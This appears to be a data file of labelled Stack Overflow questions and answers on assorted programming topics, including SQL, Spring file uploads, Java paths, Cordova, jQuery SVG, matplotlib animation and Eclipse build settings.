avoided in favor of a poorly documented, buggy, feature-incomplete open-source solution that results in dozens of hours of work that could have been avoided.</p> <p>I understand the most obvious reasons:</p> <ul> <li>Company is short on cash</li> <li>Don't pay for something when a (functionally-comparable) free alternative is available</li> <li>"Hobby" developers don't have the cash to spare, and since they're just learning, it doesn't make sense to pay for a toolset they're only tinkering with</li> </ul> <p>However, I think the "short on cash" reasoning is completely bogus - as a developer not long out of college, I made about $50K annually, or $200/day (meaning my company probably paid close to $300/day to have me in my chair, all considered). When you compare that price to a $300 tool, the obvious answer is "if it's going to waste more than a day of your time, you should buy it instead and get back to work". However, that's not what I observe - people seem willing to kill dozens of hours to avoid paying for something that only costs $50.</p> <p>Help me understand - as a developer myself of tools I'd like to one day sell, I want to understand the mentality. Have I been spoiled by working at a company that's not afraid to spend? Is there an ingrained reason developers (or their companies) don't want to spend money? Can people not accurately estimate the costs of "Free" tools in terms of lost productivity?</p> <hr> <p>I'm not referring to instances where a great free alternative is available. For example, <a href="http://stackoverflow.com/questions/662956/most-useful-free-net-libraries">any of these tools</a> is a great example of something you shouldn't pay for. However, let's say one of those lacks a key feature you need, and which a pay version of the same library provides - people seem to lean towards hacking around with the free version to add the needed functionality (or scaffold in the needed functionality) instead of ditching the free tool in favor of the pay (and feature-complete) version. I'm not saying that's the wrong choice, but it's just a choice I want to understand the reasoning to. The important point is that I'd like to - my intent is not to be argumentative.</p>
35127826	0	 <p>In your code you have:</p> <pre><code>html "&lt;a href=" $ { link } "&gt;Activate your account on Kunega&lt;/a&gt;" </code></pre> <p>which I suppose should be either:</p> <pre><code>html "&lt;a href=\""+ link + "\"&gt;Activate your account on Kunega&lt;/a&gt;" </code></pre> <p>or </p> <pre><code>html "&lt;a href=\"${ link }\"&gt;Activate your account on Kunega&lt;/a&gt;" </code></pre> <p>otherwise you call a method <code>html</code> with params <code>"&lt;a href="</code>, <code>$</code>, <code>{ link }</code> (closure that returns "link") and <code>"&gt;Activate your account on Kunega&lt;/a&gt;"</code>.</p>
5067745	0	PostgreSQL - use previously computed value from same query <p>I have the following sql query:</p> <pre><code>SELECT (SELECT ...) AS X, (SELECT ...) AS Y from my_table </code></pre> <p>'X' is quite hard to compute, and it's used as an input for computing Y. However, if I try to reference X within the query that computes Y or even within the main query I get the following error message:</p> <pre><code>Error: column "X" does not exist </code></pre> <p>Is there any way to reference X once it is computed? I really don't want to compute it twice, as this seems very inefficient.</p>
18973796	0	 <p>Create new iterator</p> <pre><code> bson_iterator nInterat[1]; </code></pre> <p>below subit iterator</p> <pre><code>bson_iterator subit[1]; bson_iterator nInterat[1]; </code></pre> <p>instead of this </p> <pre><code>bson_iterator_subobject_init(subit, sub_Object,1) </code></pre> <p>change like </p> <pre><code>bson_iterator_subobject_init(nInterat, sub_Object,1) if(bson_find(nInterat, sub_Object, "name")) printf("\tName : %s\n", bson_iterator_string(nInterat)); if(bson_find(nInterat, sub_Object, "telephone")) printf("\tTelephone: %s\n", bson_iterator_string(nInterat)); </code></pre> <p>because your subit iterator is overwrite with current sub_object Index </p>
2204656	0	 <p>This issue was resolved. I didn't know that when using pylons from the CLI, I have to include the entire environment:</p> <pre><code>from paste.deploy import appconfig from pylons import config from project.config.environment import load_environment conf = appconfig('config:development.ini', relative_to='.') load_environment(conf.global_conf, conf.local_conf) from project.model import * </code></pre> <p>After this the database queries executed without a problem.</p>
8468976	0	 <p>I am by no means an expert &mdash; when HQL stymies me, I rarely have qualms about bypassing the problem by switching to straight SQL &mdash; so I can't tell you if there is a better, more HQL-ish way to do this. But in your specific instance, where <code>B.marker</code> is always either <code>0</code> or <code>1</code>, I suppose you <em>could</em> change</p> <pre><code>COUNT(CASE WHEN B.marker = 1 THEN 1 ELSE NULL END) </code></pre> <p>to</p> <pre><code>SUM(B.marker) </code></pre> <p>and </p> <pre><code>COUNT(CASE WHEN B.marker = 0 THEN 1 ELSE NULL END) </code></pre> <p>to</p> <pre><code>COUNT(*) - SUM(B.marker) </code></pre> <p>(though you <em>may</em> also need to wrap your <code>SUM</code>s in <code>COALESCE(..., 0)</code> &mdash; I'm not sure).</p>
7677562	0	What's the difference between argp and getopt? <p>I think the title is self explanatory. I am making a program and I was wondering what I should use of the two and why.</p>
4993060	0	Submitting a form to a new window using JavaScript - with Strict DocType <p>Ok, so here's my code for submitting the form:</p> <pre><code>document.forms['formid'].submit(); </code></pre> <p>The Form Target attribute is deprecated for the DocType I'm using - </p> <p><a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" rel="nofollow">http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</a></p> <p>and I really don't want to use a different DocType as a work around for something so simple - so what are my options for submitting to a new window?</p>
36924214	0	Identify and count array duplicates <p>I have the following array:</p> <pre><code>var newOrderItems = [Order]() </code></pre> <p>that holds Order type elements:</p> <pre><code>let order = Order(item: itemName, quantity: 1) newOrderItems.append(order!) </code></pre> <p>At some point newOrderItems holds:</p> <pre><code>[ Order("item1", 1), Order("item1", 1), Order("item2", 1), Order("item2", 1), Order("item3", 1), Order("item1", 1) ] </code></pre> <p>I need to identify and count duplicate Order array elements so that I form a string message such as: </p> <p>"You have ordered 3 x item1, 2 x item2, 1 x item3".</p> <p>Is there a simple way for this? My solution(s) either add way too much overhead (i.e nested loops), or too much complexity (i.e. unique <code>NSCountedSet</code>) for something that I expect to be trivial.</p>
1308119	0	 <p>Not sure...I learned the 2 technologies by writing a facebook API based on WCF and writing a WPF frontend to browse the albums of my friends. My reasoning was that if WCF can do form-encoded POSTs with bare XML responses then it should be up for a lot of things.</p>
26542624	0	 <p>I've done similar thing once. Unfortunately Report Studio can't create prompts (and variables) dynamically. You can construct your set of prompts using JavaScript. Not Cognos prompts. HTML EditBoxes. Then carefully pass values from EditBoxes to real hidden prompt as text.</p>
7437875	0	 <p>You should do basic connectivity tests, to determine what exactly that network is blocking. </p> <p>Start with a simple ping and move on to UDP and TCP levels. You might find that some form of communication is allowed.</p> <p>If not, you can try to tell their security guys to accept some form of communication between specific range of ip addresses and/or port numbers and adapt your application accordingly.</p>
36883973	0	html5 multiple file upload with spring mvc 4 and spring boot <p>I'm trying to upload multiple files using spring mvc 4, spring boot and thymeleaf as template engine, but i'm not able to access the uploaded files, the files are dealt with as one multipart file with content type application/octet-stream. here's my front-end code:</p> <pre><code> &lt;form name="offer-form" th:action="@{/submit-property}" method="POST" enctype="multipart/form-data"&gt; &lt;!-- .. other inputs .. --&gt; &lt;div class="col-xs-12 margin-top-60"&gt; &lt;input id="file-upload"name="files[]" type="file" multiple="multiple"/&gt; &lt;/div&gt; &lt;div class="col-xs-12"&gt; &lt;div class="center-button-cont margin-top-60"&gt; &lt;button type="submit" class="button-primary button-shadow"&gt; &lt;span&gt;submit property&lt;/span&gt; &lt;div class="button-triangle"&gt;&lt;/div&gt; &lt;div class="button-triangle2"&gt;&lt;/div&gt; &lt;div class="button-icon"&gt;&lt;i class="fa fa-lg fa-home"&gt;&lt;/i&gt;&lt;/div&gt; &lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>And the controller code:</p> <pre><code>import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import org.apache.tomcat.util.http.fileupload.IOUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.io.FileSystemResource; import org.springframework.core.io.Resource; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.multipart.MultipartFile; import com.aq.domain.Property; import com.aq.service.AddPropertyFormDataInitializerService; @Controller public class PorpertySubmissionController { public static final Resource PICTURES_DIR = new FileSystemResource("./uploadedPictures"); //some unrelated code @RequestMapping(value="/submit-property", method=RequestMethod.GET) public String getSubmitPropertyForm(Model model) { model.addAttribute("property", new Property()); return "submit-property"; } @RequestMapping(value="/submit-property", method=RequestMethod.POST) public String submitProperty ( @ModelAttribute(value="property") Property property, @RequestParam("files[]") MultipartFile[] uploadedImages ) { //some unrelated code if(uploadedImages != null &amp;&amp; uploadedImages.length &gt; 0) { System.out.println("uploadedImages length: " + uploadedImages.length); for(MultipartFile imageFile : uploadedImages) { try { copyFileToPictures(imageFile); System.out.println("copied File: " + imageFile.getOriginalFilename() + " successfully."); } catch (IOException e) { System.err.println(e.getMessage()); e.printStackTrace(); } } } else { System.out.println("no images were uploaded"); } return "redirect:/submit-property"; } private Resource copyFileToPictures(MultipartFile file) throws IOException { System.out.println("File Original Name: " + file.getOriginalFilename()); System.out.println("File Name: " + file.getName()); System.out.println("File size: " + file.getSize()); System.out.println("File Content type: " + file.getContentType()); String fileExtension = getFileExtension(file.getOriginalFilename()); File tempFile = File.createTempFile("pic", fileExtension, PICTURES_DIR.getFile()); try (InputStream in = file.getInputStream(); OutputStream out = new FileOutputStream(tempFile)) { IOUtils.copy(in, out); } return new FileSystemResource(tempFile); } private static String getFileExtension(String name) { return name.substring(name.lastIndexOf(".")); } } </code></pre> <p>the output of the sysout:</p> <p>uploadedImages length: 1 (even though i upload multiple files)</p> <p>File Original Name (using getOriginalFileName): </p> <p>File Name (using getName): files[]</p> <p>File size: 0</p> <p>File Content type: application/octet-stream</p> <p>and then an exception when subsctring is called on the empty original file name.</p> <p>I tried to add commons file upload to my POM and configured CommonsMultipartResolver bean, but then it always prints that there are no uploaded images (which means it's null or length=0)</p>
16395726	0	 <p>Unlike what everyone else tells you, this is unrelated to Windows and <code>File.separator</code>.</p> <p><code>String DIR_PATH = "a/b/c/"</code> is just a String, neither Java nor the compiler make any attempt to understand what it could mean, so you get the same value both on Windows and Linux.</p> <p>Also note that <code>/</code> works as a file separator both on Unix and Windows, so this isn't an issue either. When necessary, Java will convert <code>/</code> to <code>\</code>.</p> <p><code>File DIR_FILE = new File(DIR_PATH);</code> is a constant but <code>new File()</code> is still executed by the VM at runtime when the class is loaded. So the path is <strong>not</strong> converted to Windows format while the <em>compiler</em> generates byte code.</p> <p>So the problem you describe must be elsewhere or an important part of the code example you posted was changed when you simplified it for the question. My guess is that someone put a Windows-style path into the code elsewhere or maybe the config and you overlooked this.</p> <p>That said, a safe way to build paths is to use <code>File(File, String)</code>:</p> <pre><code>File DIR_PATH = new File( "a", new File( "b", "c" ) ); </code></pre> <p>This will always build a path that works, no matter what the file separator is. If you must, you can use</p> <pre><code>File DIR_PATH = "a" + File.separator + "b" + File.separator + "c"; </code></pre> <p>but that can fail for more complex examples and it's more text to read.</p>
9954869	0	 <p>If I understood well, you would like include the code from <code>includefile.php</code> into your test.php ?</p> <p>You can't use include like that, but you should do it like that.</p> <pre><code>file_put_contents($file, file_get_contents('includefile.php'), FILE_APPEND); </code></pre> <p>This will append the content from <code>includefile.php</code> into your <code>test.php</code></p>
1017873	0	 <p>I separated the values by Environment.NewLine and then used a pre tag in html to emulate the effect I was looking for</p>
10311565	0	 <p>As I understand the problem this will work:</p> <pre><code>SELECT t.value, t.from_id, t.to_id, t.loop_id FROM MyResults t INNER JOIN ( SELECT From_ID, To_ID, MIN(Value) [Value] FROM MyResults WHERE Loop_ID % 2 = 0 GROUP BY From_ID, To_ID ) MinT ON MinT.From_ID = t.From_ID AND MinT.To_ID = t.To_ID AND MinT.Value = t.Value </code></pre> <p>However, if you had duplicate values for a From_ID and To_ID combination e.g.</p> <pre><code>value from_id to_id loop_id ------------------------------------- 0.1 A B 2 0.1 A B 4 </code></pre> <p>This would return both rows.</p> <p>If you are using SQL-Server 2005 or later and you want the duplicate rows as stated above you could use:</p> <pre><code>SELECT Value, From_ID, To_ID, Loop_ID FROM ( SELECT *, MIN(Value) OVER(PARTITION BY From_ID, To_ID) [MinValue] FROM MyResults ) t WHERE Value = MinValue </code></pre> <p>If you did not want the duplicate rows you could use this:</p> <pre><code>SELECT Value, From_ID, To_ID, Loop_ID FROM ( SELECT *, ROW_NUMBER() OVER(PARTITION BY From_ID, To_ID ORDER BY Value, Loop_ID) [RowNumber] FROM MyResults ) t WHERE RowNumber = 1 </code></pre>
1624454	0	 <p>Install an SSH client on you iPhone, e.g. pTerm. I choose this solution for sending the occasional command to an appliance.</p> <p>There is a somewhat half baked recipe on compiling libssh2 for use on the iPhone at:</p> <p><a href="http://sites.google.com/site/olipion/cross-compilation/libssh2" rel="nofollow noreferrer"><a href="http://sites.google.com/site/olipion/cross-compilation/libssh2" rel="nofollow noreferrer">http://sites.google.com/site/olipion/cross-compilation/libssh2</a></a></p> <p>Examples can be found on the libssh2 website</p> <p><a href="http://www.libssh2.org/examples/" rel="nofollow noreferrer"><a href="http://www.libssh2.org/examples/" rel="nofollow noreferrer">http://www.libssh2.org/examples/</a></a></p>
11377999	0	 <p>I see that pretty much all the different options have already been laid out in different answers, but instead of commenting on all to give you my impression on what I think you should do, I'll just create an answer myself.</p> <p>Just to be clear on how I understand how the system works: All users can have multiple belongings, but any belonging can only be help by one person.</p> <p>In this case, it makes the most sense to have a user_id in the belongings table that can tie a belonging to a person. Once a user_id is set, nobody else can claim it anymore.</p> <p>Now, as to the 'favorite' part, there are several things you can do. What truly is the best way to do it strongly depends on the queries you plan on running on it. Some consider adding a JOIN table, but honestly this is a lot of additional data that is rather pointless; there is likely going to be the exact amount of rows in it as the user table and by putting it in a separate table, there is a lot you can't do (for example, see how many people DON'T have a favorite). Likewise, a JOIN table would make no sense for the user_belonging relationship, as there is a 1:1 relationship between the belonging and the amount of people who can have it.<br /> So I believe there are two viable options: either add a field (/switch) in the belongings table to indicate of a user's belonging is his/ her favorite, or add a field to the user table to indicate which belonging is the user's favorite. I would personally think that the latter holds the most merit, but depending on the queries you run, it might make more sense to to the former. Overall, the biggest difference is whether you want to process things pre-insert or post-select; e.g. in the latter situation, you will have to run an independent query to figure out if the user already has a favorite (in the former case this won't be necessary as you would put a unique index on the field in the user table), whereas in a post-select situation you will have to do cross reference which of the selected belongings from the belonging table is the user's favorite.</p> <p>Please let me know if I explained myself clearly, or if you have any further questions.</p>
33743362	0	 <p>You are experiencing a side-effect from <code>i++</code> which puts you at the mercy of the optimizer which has some leverage as to when to do the increment the way you wrote the code. To be safe, do</p> <pre><code>data[i] = temp[i]; i++; </code></pre>
22688525	0	 <p>Have you tried to replace </p> <pre><code>return false; </code></pre> <p>by</p> <pre><code>return true; </code></pre> <p>on your <code>onLongClick(View v)</code> method ? </p>
35760750	0	 <p>Thanks to the help of @RenatoMendesFigueiredo, @hasumedic &amp; (the most part) @Cerad, without need of premium plan, I can see the point of this warning and figure it out.</p> <p>In fact, a long time ago, I would make my service extending the <a href="http://api.symfony.com/3.0/Symfony/Component/DependencyInjection/ContainerAware.html" rel="nofollow noreferrer"><code>ContainerAware</code></a> rather than write the method directly, but forced to live with its limits (the service could not have extended another class). </p> <p>In 2.4, the <a href="http://api.symfony.com/3.0/Symfony/Component/DependencyInjection/ContainerAwareTrait.html" rel="nofollow noreferrer"><code>ContainerAwareTrait</code></a> was added. </p> <p>My guess is that the warning has been added in the same time as this trait, because :</p> <p>1) No reason to write a setter or a constructor to inject the container if a trait that do it already exists.</p> <p>2) No need of pass the container as an argument in an another goal than inject it to a service.</p> <p>Also, I removed the <code>setContainer</code> method from the class of my service, make it use the <code>ContainerAwareTrait</code> and keep the the service definition as before.</p> <p><em>And ...</em></p> <p><a href="https://i.stack.imgur.com/RKt0e.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/RKt0e.png" alt="Kudos"></a></p> <p><strong>Kudos</strong>!</p>
36071391	0	 <p>I'm surprised you had to ask, since it's basic Javascript, really... </p> <p>Since <code>press</code> is invoked from <code>oToggleButton</code>, the <code>this</code> keyword now holds a reference to <code>oToggleButton</code>, and <strong>not</strong> the controller (hence why the <code>getView()</code> method fails). Search for 'this keyword in inner function' for more info.</p> <p>To solve this, simply add a reference to this outside the inner function:</p> <p><code>var that = this;</code></p> <p>and in your inner function, use the reference instead:</p> <p><code>that.getView().addStyleClass("sapUiSizeCompact");</code></p>
5270408	0	 <p>Your WHERE clause contains only joins. There are no filters. This means your query needs to consider all the rows in at least one table. From this it follows that your query should execute a FULL TABLE SCAN of at least one of your tables, not an indexed read. A full table scan is the most efficient way of getting all the rows in a table. </p> <p>So don't fix the syntax of your INDEX hint, get rid of it.</p> <p>Next, figure out which table should drive your query. This is business logic. Probably your requirement is something like </p> <blockquote> <p>"Summarise BL_DETAILS and BL_FREIGHT for every row in BL_CONTAINERS."</p> </blockquote> <p>In which case you might think you need a full table scan of BL_CONTAINERS. But if BL_FREIGHT has more rows than BL_CONTAINERS and every BLF_REF_NO matches a BL_REF_NO (i.e. there is a foreign key on BL_FREIGHT.BLF_REF_NO referencing BL_CONTAINERS.BL_REF_NO) it would probably be better to drive from BL_FREIGHT.</p> <p>Note that this is true if you are only interested in BL_CONTAINERS which have matching BL_FREIGHT rows. But if you want to include containers which have not been used (i.e. they have no matching no BL_FREIGHT records) you need to use outer joins and drive off the BL_CONTAINERS table.</p> <p>These considerations get more complicated when you throw BL_DETAILS into the mix. Your report seems to be based around the BL_DETAILS categories (as Jeffrey observes it is hard for us to understand your query without aliases or describes). So perhaps BL_DETAILS is the right candidate for driving table.</p> <p>As you can see, tuning requires insight into the business logic and the details of the data model. You have that local knowledge, we do not.</p> <p>There are tools which can help you. Oracle has EXPLAIN PLAN which will show you how the database will execute the query. The query optimizer gets better with each release so it matters which version of the database you're using. Here is <a href="http://download.oracle.com/docs/cd/B19306_01/server.102/b14211/ex_plan.htm" rel="nofollow">the documentation for 10g</a>.</p> <p>The important thing to note is that you need to give the database accurate statistics, in order for it to come up with a good plan. <a href="http://download.oracle.com/docs/cd/B19306_01/appdev.102/b14258/d_stats.htm" rel="nofollow">Find out more.</a> </p>
20816944	0	 <pre><code>perl -ne 'print [ split /\(/ ]-&gt;[0]' 8-8TRI.txt ^__ backslash for '(' </code></pre> <p>You don't need array reference, so</p> <pre><code>perl -ne 'print( (split /\(/ )[0] )' 8-8TRI.txt </code></pre>
26288633	0	Tcl file parser for PYTHON <p>I have a .tcl file. </p> <p>Is there any parser available which directly extracts data from .tcl file ? I don't want to use REGEX for this task. Is pyparsing will work for this problem ?</p> <p>I am using Python 2.7 </p>
25283128	0	 <p>I would say you try a total clean reinstall/rebuild with cordova. First off all you have to install cordova for that. If you want to know, how to get started with that you should have a look into the cordova documentation: <a href="http://cordova.apache.org/docs/en/3.5.0/guide_cli_index.md.html#The%20Command-Line%20Interface" rel="nofollow">Cordova CLI-Docs</a></p> <p>After you installed cordova, you enter the Terminal and type in the following commands:</p> <ul> <li>cd ~/desktop</li> <li>cordova create test com.example.test test</li> <li>cd test</li> <li>cordova platform add android</li> <li>cordova plugin add org.apache.cordova.device-motion</li> <li>cordova build</li> </ul> <p>Open the builded project in Eclipse and add </p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Acceleration Example&lt;/title&gt; &lt;script type="text/javascript" charset="utf-8" src="cordova.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" charset="utf-8"&gt; // Wait for device API libraries to load // document.addEventListener("deviceready", onDeviceReady, false); // device APIs are available // function onDeviceReady() { navigator.accelerometer.getCurrentAcceleration(onSuccess, onError); } // onSuccess: Get a snapshot of the current acceleration // function onSuccess(acceleration) { alert('Acceleration X: ' + acceleration.x + '\n' + 'Acceleration Y: ' + acceleration.y + '\n' + 'Acceleration Z: ' + acceleration.z + '\n' + 'Timestamp: ' + acceleration.timestamp + '\n'); } // onError: Failed to get the acceleration // function onError() { alert('onError!'); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Example&lt;/h1&gt; &lt;p&gt;getCurrentAcceleration&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Save all and deploy the project to your device. And let me know, if this worked or not.</p>
15091724	0	In jQuery SVG why do coordinates not work as expected <p>I load two images in jQuery SVG using the code:</p> <pre><code>svg.image(0, 0, 330, 540, 'images/img1.jpg', {id: 'img'}); svg.image(0, 0, 330, 540, 'images/iPhone5png.png', {id: 'imgphone'}); </code></pre> <p>After the images are loaded it looks like this:</p> <p><img src="https://i.stack.imgur.com/XVy6h.png" alt="enter image description here"></p> <p>I rotate the images (of bottles) to 90 degree:</p> <p><img src="https://i.stack.imgur.com/AwUlb.png" alt="enter image description here"></p> <p>Now if I try to more the (bottle) image left or right interactively using following code:</p> <pre><code>//Move Left $('#moveleft').click(function(){ var svg = $('#svgphone').svg('get'); var cx = $('#img', svg.root()).attr('x'); cx = eval(cx) - 10; $('#img', svg.root()).attr('x', cx); }); //Move Right $('#moveright').click(function(){ var svg = $('#svgphone').svg('get'); var cx = $('#img', svg.root()).attr('x'); cx = eval(cx) + 10; $('#img', svg.root()).attr('x', cx); }); </code></pre> <p>It moves up or down instead of left (moved down) or right (moves up) as shown below:</p> <p><img src="https://i.stack.imgur.com/e3jwQ.png" alt="enter image description here"></p> <p>Why and how to solve this problem?</p> <p>TIA</p> <p>Yogi Yang</p>
25552324	0	 <p>git prevents you from altering your working directory in a way that overwrites local changes (e.g. in case of a checkout).</p> <p>Since your checkout went smooth, it simply means that the local changes were not overwritten by it, so there's no need to worry. You're still in a consistent state.</p> <p>Were you switching to a new branch perhaps? Or maybe the local changes were newly added files? That would explain why the checkout generated no conflicts.</p>
25459070	0	Why does MySQL keeps prompting me for undeclared password? <p>i am new to this so please go easy on me :-). i searched the net and this site for answers but was unable to find anything similar, or its because my knowledge is only limited.</p> <p>I installed MySQL workbench, that was okay. Open the program and created a new connections, i didn't specify any password, even click "clear" several times but i am still being prompted with a password which i have no idea what it is? </p> <p>Sorry for the beginners question but i have no idea what i am doing wrong</p> <p>many thanks</p>
19944383	0	 <p>If you always want to do a lookup on the string after the first space, then maybe you don't want to use an ArrayList</p> <p>Maybe you should use a <code>Map&lt;String, String&gt;</code> of product, full name e.g. <code>"S4", "Samsung S4"</code> Then lookups will be much faster.</p>
38395747	0	Bootstrap same height cards within cols <p>With Bootstrap 3.3.6 I want to make 3 cards.</p> <pre><code>&lt;div class="row"&gt; &lt;div class="col-md-4"&gt; &lt;div class="card"&gt; &lt;p&gt;Some dummy text here&lt;/p&gt; &lt;button&gt;Click Here&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-md-4"&gt; &lt;div class="card"&gt; &lt;p&gt;Some dummy text here&lt;/p&gt; &lt;button&gt;Click Here&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-md-4"&gt; &lt;div class="card"&gt; &lt;p&gt;Some dummy text here&lt;/p&gt; &lt;button&gt;Click Here&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; .card { border: 1px solid #ddd; border-radius: 5px; padding: 20px; } </code></pre> <p>Now that the Dummy text is not the same length, the cards will not be the same height.</p> <p>I found a trick using flexbox here: <a href="http://stackoverflow.com/questions/19695784/how-can-i-make-bootstrap-columns-all-the-same-height">How can I make Bootstrap columns all the same height?</a>, but this will be working on the immediate children of the .row not the .card</p> <p>Another thing, even if the cards will be the same height, the buttons will not be on the same line as they will follow the the text.</p>
31938109	0	Matter.js Gravity Point <p>Is it possible to create a single gravity / force point in matter.js that is at the center of x/y coordinates?</p> <p>I have managed to do it with d3.js but wanted to enquire about matter.js as it has the ability to use multiple polyshapes.</p> <p><a href="http://bl.ocks.org/mbostock/1021841" rel="nofollow">http://bl.ocks.org/mbostock/1021841</a></p>
28798893	0	 <p>Rather than retrieving the <code>id</code> of the first <code>.link</code> element within the <code>mouseover</code> event listener, you need to get the <code>id</code> of the element you are mousing over.</p> <p>Within the event listener, <code>this</code> refers to the element that is currently being moused over, therefore you would access the <code>id</code> using <code>$(this).attr("id")</code> or <code>this.id</code>:</p> <p><a href="http://jsfiddle.net/b7m5L332/" rel="nofollow"><strong>Example Here</strong></a></p> <pre><code>$(".link").on('mouseover', function () { $("#header").html("&lt;h1&gt;I mousedover on " + this.id + "&lt;/h1&gt;"); }); </code></pre> <p>It's worth pointing out that <code>$(".link")</code> returns a collection (a jQuery object) of elements. When accessing the <code>id</code> using <code>$(".link").attr("id")</code>, you are accessing the <code>id</code> of the <em>first</em> element within the jQuery object. That's why you text would always say 'london'.</p>
13793359	0	 <p>You can't disable cookies only on your web browser control. The control is essentially an embedded Internet Explorer and shares the user's Internet Explorer settings. If you don't mind blocking cookies on all other instances of Internet Explorer (maybe you use Chrome or Firefox for the rest of your browsing) you can do the following:</p> <p>(From: <a href="http://social.msdn.microsoft.com/Forums/en-US/winforms/thread/90834f20-c89f-42f9-92a8-f67ccee3799a/" rel="nofollow">http://social.msdn.microsoft.com/Forums/en-US/winforms/thread/90834f20-c89f-42f9-92a8-f67ccee3799a/</a>)</p> <blockquote> <p>To block Cookies in WebBrowser control you can take the following steps, in fact, it's the same as to block Cookies in IE.</p> <ol> <li>Choose "Internet Options" under the "Tools" menu on the IE;</li> <li>Select the "Privacy" tab.</li> <li>Click the "Advanced..." button in the "Settings" groupbox.</li> <li>Check the "Override automatic cookie handling" option.</li> <li>Check both "Block" options.</li> <li>Click "OK"</li> </ol> </blockquote> <p>You could also delete all the cookies after you visit a page, but I don't think this will fulfill your goal of being completely anonymous.</p> <p>I did a little digging and I think you can use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa385114%28v=vs.85%29.aspx" rel="nofollow">InternetSetOption</a> and the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa385328%28v=vs.85%29.aspx" rel="nofollow">INTERNET_SUPPRESS_COOKIE_PERSIST</a> flag. According to the documentation, this will only work for Internet Explorer 8 and later.</p> <pre><code>private const int INTERNET_OPTION_SUPPRESS_BEHAVIOR = 3; //INTERNET_SUPPRESS_COOKIE_PERSIST - Suppresses the persistence of cookies, even if the server has specified them as persistent. [DllImport("wininet.dll", SetLastError = true)] private static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int lpdwBufferLength); </code></pre> <p>Then when you initialize your app try:</p> <pre><code>InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SUPPRESS_BEHAVIOR, IntPtr.Zero, 0); </code></pre> <p>Hopefully this puts you on the right track. See also: </p> <p><a href="http://stackoverflow.com/questions/1688991/how-to-set-and-delete-cookies-from-webbrowser-control-for-arbitrary-domains">How to set and delete cookies from WebBrowser Control for arbitrary domains</a></p> <p><a href="http://stackoverflow.com/questions/6353715/how-do-i-use-internetsetoption">How do I use InternetSetOption?</a></p> <p><a href="http://stackoverflow.com/questions/8880281/clear-cookies-cache-for-multiple-webbrowser-control-with-wininet-in-winform-appl">Clear Cookies Cache for Multiple WebBrowser Control with WinInet in Winform Application</a></p>
7522492	0	 <p>This should do the trick:</p> <pre><code>$ps_albums.children('div').bind('click',function(){ var album_name = $(this).find('img').attr('src').split('/')[1]; }); </code></pre>
40318479	0	 <p>First of all you will need to install some dependencies: matplotlib and numpy.</p> <p>The first option is to use matplotlib animation like in this example:</p> <pre><code>import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation def update_line(num, data, line): line.set_data(data[..., :num]) return line, fig1 = plt.figure() data = np.random.rand(2, 25) l, = plt.plot([], [], 'r-') plt.xlim(0, 1) plt.ylim(0, 1) plt.xlabel('x') plt.title('test') line_ani = animation.FuncAnimation(fig1, update_line, 25, fargs=(data,l),interval=50, blit=True) plt.show() </code></pre> <p>A more mathematical option is this one:</p> <pre><code>import matplotlib.pyplot as plt import numpy as np import time x = np.linspace(0, 1, 20) y = np.random.rand(1, 20)[0] plt.ion() fig = plt.figure() ay = fig.add_subplot(111) line1, = ay.plot(x, y, 'b-') for i in range(0,100): y = np.random.rand(1, 20)[0] line1.set_ydata(y) fig.canvas.draw() time.sleep(0.1) </code></pre> <p>I hope this is what you were searching for.</p>
20768336	0	 <p>Have you tried <code>getRelatedEntities()</code> instead of <code>getRelatedEntity()</code>. From your explanation I understand that A has a collection of B, so try</p> <p><code>List&lt;OEntity&gt; bsOEntities = a.getLink("bs", OLink.class).getRelatedEntities();</code></p> <p>It works for me.</p>
4422474	0	 <p>I did something similar with what you want few months (years?) ago. Take a look <a href="http://iamntz.com/experiments/dSlide/" rel="nofollow">here</a>. Is just a proof of concept, but i guess is still a good start.</p>
3425010	0	Should I use `while (true)` or `for (;;)` (in languages that support both)? <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/2288856/when-implementing-an-infinite-loop-is-there-a-difference-in-using-while1-vs-fo">When implementing an infinite loop, is there a difference in using while(1) vs for(;;) vs goto (in C)?</a> </p> </blockquote> <p>In languages where <code>while (true)</code> or <code>for (;;)</code> both mean "loop forever", which should I use?</p>
5268875	0	Is it a waste of time to use "Build Automatically" option for Java projects in Eclipse? <p>I'm developing J2EE webapps in Eclipse (RAD, actually). I've always used the "Project > Build automatically" option. However, I noticed that this isn't always necessary because Eclipse seems to push out changes to my server when I save a file. This works great but I'm wondering why this would be checked by default.</p> <p>I can think of a few times when it makes sense to fully build and deploy the app:</p> <ul> <li>After changing a XML configuation file that gets loaded at app startup (application.xml, web.xml, bean configuration xml files, etc)</li> <li>After changing a static variable on a class </li> </ul> <p>Other than this, I can't think of other times when it would be crucial (or useful) to enable the build automatically option. Am I incorrect in my above assumptions? Am I just wasting a bunch of time by building automatically??</p>
